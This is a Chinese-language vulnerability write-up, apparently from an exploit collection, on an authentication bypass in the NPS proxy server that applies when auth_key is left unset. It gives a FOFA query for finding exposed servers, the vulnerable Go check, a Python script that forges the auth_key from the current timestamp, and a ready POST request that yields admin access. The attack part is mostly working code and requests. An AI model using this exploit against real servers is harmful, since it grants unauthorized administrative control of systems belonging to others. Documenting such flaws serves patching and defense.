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67 lines
1.6 KiB
Markdown
67 lines
1.6 KiB
Markdown
# NPS auth_key 未授权访问漏洞
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## 漏洞描述
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NPS auth_key 存在未授权访问漏洞，当 nps.conf 中的 auth_key 未配置时攻击者通过生成特定的请求包可以获取服务器后台权限
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## 漏洞影响
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```
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NPS
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```
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## FOFA
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```
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body="serializeArray()" && body="/login/verify"
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```
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## 漏洞复现
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登录页面
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在 web/controllers/base.go 文件中
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```
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md5Key := s.getEscapeString("auth_key")
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timestamp := s.GetIntNoErr("timestamp")
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configKey := beego.AppConfig.String("auth_key")
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timeNowUnix := time.Now().Unix()
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if !(md5Key != "" && (math.Abs(float64(timeNowUnix-int64(timestamp))) <= 20) && (crypt.Md5(configKey+strconv.Itoa(timestamp)) == md5Key)) {
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if s.GetSession("auth") != true {
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s.Redirect(beego.AppConfig.String("web_base_url")+"/login/index", 302)
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}
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} else {
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s.SetSession("isAdmin", true)
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s.Data["isAdmin"] = true
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}
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```
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这里需要的参数为 配置文件 nps.conf 中的 auth_key 与 timestamp 的md5 形式进行认证，但在默认的配置文件中，auth_key 默认被注释，所以只需要可以获取到的参数 timestamp 就可以登录目标
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```
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import time
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import hashlib
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now = time.time()
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m = hashlib.md5()
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m.update(str(int(now)).encode("utf8"))
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auth_key = m.hexdigest()
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print("auth_key=%s×tamp=%s" % (auth_key,int(now)))
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```
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验证POC
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```
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POST /client/list
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search=&order=asc&offset=0&limit=10&auth_key=8c98b1bdedbc569c4e61eeaeb11ce772×tamp=1659838908
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```
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